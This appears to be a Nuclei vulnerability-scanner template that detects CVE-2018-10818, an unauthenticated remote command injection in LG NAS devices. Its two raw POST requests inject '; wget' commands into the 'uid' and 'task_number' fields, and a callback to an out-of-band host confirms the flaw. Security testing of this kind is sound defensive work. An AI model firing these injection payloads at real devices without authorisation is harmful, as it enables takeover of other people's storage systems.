id: CVE-2018–10818

info:
  name: LG NAS Devices - Remote Code Execution (Unauthenticated)
  author: gy741
  severity: critical
  description: The vulnerability (CVE-2018-10818) is a pre-auth remote command injection vulnerability found in the majority of LG NAS devices. You cannot simply log in with any random username and password. However, there lies a command injection vulnerability in the “password” parameter.
  reference: |
    - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
    - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
  tags: cve,cve2018,lg-nas,rce,oob

requests:
  - raw:
      - |
        POST /system/sharedir.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: curl/7.58.0
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        &uid=10; wget http://{{interactsh-url}}

      - |
        POST /en/php/usb_sync.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: curl/7.58.0
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        &act=sync&task_number=1;wget http://{{interactsh-url}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200